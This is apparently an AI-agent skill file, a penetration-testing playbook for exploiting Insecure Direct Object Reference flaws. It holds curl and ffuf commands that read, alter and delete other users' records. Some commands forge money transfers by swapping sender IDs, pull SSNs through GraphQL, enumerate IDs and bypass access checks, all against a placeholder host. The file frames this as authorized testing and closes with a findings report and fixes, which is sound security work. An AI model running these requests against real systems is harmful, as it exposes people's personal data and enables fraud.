--- name: exploiting-idor-vulnerabilities-76dc1e09e9bd description: Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API requests and URLs. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - idor - access-control - owasp - burpsuite - web-security version: '1.0' author: Krishna Kumar (xalgord) license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Exploiting IDOR Vulnerabilities ## When to Use - During authorized penetration tests when testing access control on resource endpoints - When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies - For validating that object-level authorization is enforced across all CRUD operations - When testing multi-tenant applications where users should only access their own data - During bug bounty programs targeting broken access control vulnerabilities ## Prerequisites - **Authorization**: Written penetration testing agreement for the target application - **Burp Suite Professional**: With Authorize extension installed from BApp Store - **Two test accounts**: At least two separate user accounts with different permission levels - **Burp Authorize Extension**: For automated IDOR testing across sessions - **curl/httpie**: For manual request crafting - **Browser**: Configured to proxy through Burp Suite ## Critical: Checks Most Often Missed IDORs are missed when only the obvious `/users/{id}` numeric swap is tried. For every object reference, work through this checklist: - **Unauthenticated access**: replay the request with NO cookie / NO token. APIs frequently leak objects entirely without auth — this is the single most missed IDOR and the easiest to confirm. - **Every object reference, every method**: path IDs, query params (`?id=`, `?user_id=`), body fields, JSON nested IDs, and headers. Test GET, POST, PUT, PATCH, and DELETE — read may be locked while write is not. - **All ID encodings**: numeric ±1 neighbours, UUIDs (try a second account's real UUID), base64 (`MTAx`=101), hashed IDs, and slugs. Decode/re-encode to enumerate. - **Two-account differential** (the reliable confirmation): request User B's object with User A's session. Same data returned for both users = IDOR. Without a second account, register/obtain one — guessing IDs alone yields false positives. - **Indirect & wrapper tricks**: parameter pollution (`?id=101&id=102`), arrays/bulk (`{"ids":[101,102]}`), wrapping a value in `[]` or `{}`, changing `Content-Type` to JSON, and appending `.json`/`.xml` to force an alternate handler that skips authorization. - **Method/parameter override**: add `X-HTTP-Method-Override: GET`, `_method=PUT`, or path tricks (`;`, `..;/`, trailing `/`) that route past the access-control check. - **Confirm impact**: enumerate a small range to prove scale, record exactly which sensitive fields leak (email, phone, tokens, PII), and never modify or delete real user data — use known test objects for write IDORs. Identify every endpoint that references objects by ID across the application. ```bash # Browse the application through Burp proxy with User A # Review Burp Target > Site Map for endpoints with object references # Common IDOR-prone endpoints to look for: # GET /api/users/{id} # GET /api/orders/{id} # GET /api/invoices/{id}/download # PUT /api/users/{id}/profile # DELETE /api/posts/{id} # GET /api/documents/{id} # GET /api/messages/{conversation_id} # Extract all endpoints with IDs from Burp proxy history # Burp > Proxy > HTTP History > Filter by target domain # Look for patterns: /resource/123, ?id=123, {"user_id": 123} # Check different ID formats: # Numeric sequential: /users/101, /users/102 # UUID: /users/550e8400-e29b-41d4-a716-446655440000 # Base64 encoded: /users/MTAx (decodes to "101") # Hashed: /users/5d41402abc4b2a76b9719d911017c592 # Slug: /users/john-doe ``` ### Step 2: Configure Burp Authorize Extension for Automated Testing Set up the Authorize extension to automatically replay requests with a different user's session. ``` # Install Authorize from BApp Store: # Burp > Extender > BApp Store > Search "Authorize" > Install # Configuration: # 1. Log in as User B (victim) in a separate browser/incognito # 2. Copy User B's session cookie/authorization header # 3. In Authorize tab > Configuration: # - Add User B's cookies in "Replace cookies" section # - Or add User B's Authorization header in "Replace headers" # Example header replacement: # Original (User A): Authorization: Bearer # Replace with (User B): Authorization: Bearer # 4. Enable "Intercept requests from Repeater" # 5. Enable "Intercept requests from Proxy" # Authorize will show: # - Green: Properly restricted (different response for different user) # - Red: Potentially vulnerable (same response regardless of user) # - Orange: Uncertain (needs manual verification) ``` ### Step 3: Test Horizontal IDOR (Same Privilege Level) Attempt to access resources belonging to another user at the same privilege level. ```bash # Authenticate as User A (ID: 101) TOKEN_A="Bearer eyJ..." # Get User A's own resources curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/101/profile" | jq . # Attempt to access User B's resources (ID: 102) with User A's token curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/102/profile" | jq . # Compare responses - if both return 200 with data, IDOR is confirmed # Test across different resource types for resource in profile orders invoices messages documents; do echo "--- Testing $resource ---" # User A's resource curl -s -o /dev/null -w "Own: %{http_code} " \ -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/101/$resource" # User B's resource curl -s -o /dev/null -w "Other: %{http_code}\n" \ -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/102/$resource" done # Test with POST/PUT/DELETE for write-based IDOR curl -s -X PUT -H "Authorization: $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"name":"Hacked"}' \ "https://target.example.com/api/v1/users/102/profile" ``` ### Step 4: Test Vertical IDOR (Cross Privilege Level) Attempt to access admin or elevated resources with a regular user token. ```bash # As regular user, try accessing admin user profiles curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/1/profile" | jq . # Try accessing admin-specific resources curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/admin/reports/1" | jq . # Test accessing resources across organizational boundaries # User in Org A trying to access Org B's resources curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/organizations/2/settings" | jq . # Test file download IDOR curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/invoices/999/download" -o test.pdf file test.pdf ``` ### Step 5: Test IDOR in Non-Obvious Locations Look for IDOR in request bodies, headers, and indirect references. ```bash # IDOR in request body parameters curl -s -X POST -H "Authorization: $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \ "https://target.example.com/api/v1/transfers" # Change sender_id to another user curl -s -X POST -H "Authorization: $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \ "https://target.example.com/api/v1/transfers" # IDOR in file references curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf" # IDOR in GraphQL curl -s -X POST -H "Authorization: $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"query":"{ user(id: 102) { email phone ssn } }"}' \ "https://target.example.com/graphql" # IDOR via parameter pollution curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/101/profile?user_id=102" # IDOR in bulk operations curl -s -X POST -H "Authorization: $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"ids": [101, 102, 103, 104, 105]}' \ "https://target.example.com/api/v1/users/bulk" ``` ### Step 6: Enumerate and Escalate Impact Determine the full scope of data exposure through IDOR. ```bash # Enumerate valid object IDs ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \ -w <(seq 1 500) \ -H "Authorization: $TOKEN_A" \ -mc 200 -t 10 -rate 20 \ -o valid-users.json -of json # Count total accessible records jq '.results | length' valid-users.json # Check what sensitive data is exposed per record curl -s -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/102/profile" | \ jq 'keys' # Look for: email, phone, address, ssn, payment_info, password_hash # Test IDOR on state-changing operations # Can User A delete User B's resources? curl -s -X DELETE -H "Authorization: $TOKEN_A" \ "https://target.example.com/api/v1/users/102/posts/1" \ -w "%{http_code}" # WARNING: Only test DELETE on known test data, never on real user data ``` ### How to CONFIRM a Hit (avoid false negatives) A true-positive IDOR needs proof you accessed **another principal's** object, not just a 200: - **Two-account differential (definitive):** request User B's object id with User A's session and confirm the response returns **User B's data** (match a unique field — B's email, order total, UUID). Identical data for both users = confirmed IDOR. - **Unauthenticated access:** replay with NO cookie/token; if the object still returns, that's a confirmed (and higher-severity) IDOR. - **Write IDOR:** the state-change actually persists on the victim object (re-read it as User B to verify), not just an accepted 200. - **Scale:** enumerate a small id range to prove it's systemic, and record exactly which sensitive fields leak. Do not conclude "not vulnerable" after the obvious numeric `{id}` swap returns 403. Before giving up you MUST also try: UUID/base64/hash-encoded ids, the id in query/body/header/JSON-nested positions, every method (GET/POST/PUT/PATCH/DELETE), parameter pollution (`?id=A&id=B`), array/bulk wrappers, and appending `.json`/`.xml` or a method-override header — authorization is frequently enforced on one representation but not another. ## Key Concepts | Concept | Description | |---------|-------------| | **Horizontal IDOR** | Accessing resources belonging to another user at the same privilege level | | **Vertical IDOR** | Accessing resources requiring higher privileges than the current user has | | **Direct Object Reference** | Using a database key, file path, or identifier directly in API parameters | | **Indirect Object Reference** | Using a mapped reference (e.g., index) that the server resolves to the actual object | | **Object-Level Authorization** | Server-side check that the requesting user is authorized to access the specific object | | **Predictable IDs** | Sequential numeric identifiers that allow easy enumeration of valid objects | | **UUID Randomness** | Using UUIDv4 makes enumeration harder but does not replace authorization checks | ## Tools & Systems | Tool | Purpose | |------|---------| | **Burp Suite Professional** | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing | | **Authorize (Burp Extension)** | Automated IDOR testing by replaying requests with different user sessions | | **AutoRepeater (Burp Extension)** | Automatically repeats requests with modified authorization headers | | **Postman** | API testing with environment variables for switching between user contexts | | **ffuf** | Fast fuzzing of object ID parameters | | **OWASP ZAP** | Free proxy alternative with access control testing plugins | ## Common Scenarios ### Scenario 1: Invoice Download IDOR The `/invoices/{id}/download` endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details. ### Scenario 2: User Profile Data Leak The `/api/users/{id}` endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID. ### Scenario 3: File Access via Path Manipulation A document management system stores files at `/files/{user_id}/{filename}`. By changing the `user_id` path segment, users can access private documents uploaded by other users. ### Scenario 4: Message Thread Hijacking A messaging endpoint at `/api/conversations/{id}/messages` allows any authenticated user to read messages in any conversation by changing the conversation ID. ## Output Format ``` ## IDOR Vulnerability Finding **Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR) **Severity**: High (CVSS 7.5) **Location**: GET /api/v1/users/{id}/profile **OWASP Category**: A01:2021 - Broken Access Control ### Reproduction Steps 1. Authenticate as User A (ID: 101) and obtain JWT token 2. Send GET /api/v1/users/101/profile with User A's token (returns own profile) 3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token 4. Observe that User B's full profile is returned including PII ### Affected Endpoints | Endpoint | Method | Impact | |----------|--------|--------| | /api/v1/users/{id}/profile | GET | Read PII of any user | | /api/v1/users/{id}/orders | GET | Read order history of any user | | /api/v1/users/{id}/profile | PUT | Modify profile of any user | | /api/v1/invoices/{id}/download | GET | Download any user's invoices | ### Impact - 15,000+ user profiles accessible (enumerated IDs 1-15247) - Exposed fields: name, email, phone, address, date_of_birth - Write IDOR allows profile modification of other users - Violates GDPR data access controls ### Recommendation 1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object 2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure 3. Log and alert on sequential ID enumeration patterns 4. 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See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/exploiting-idor-vulnerabilities/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: QA / Test Engineer, Security Engineer Specialties: API, Testing Tools: Curl, Httpie Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: def0112ced6eeceeee63046fefdc085694a2f6fe82c57c9cd9a6a1dc3c17da09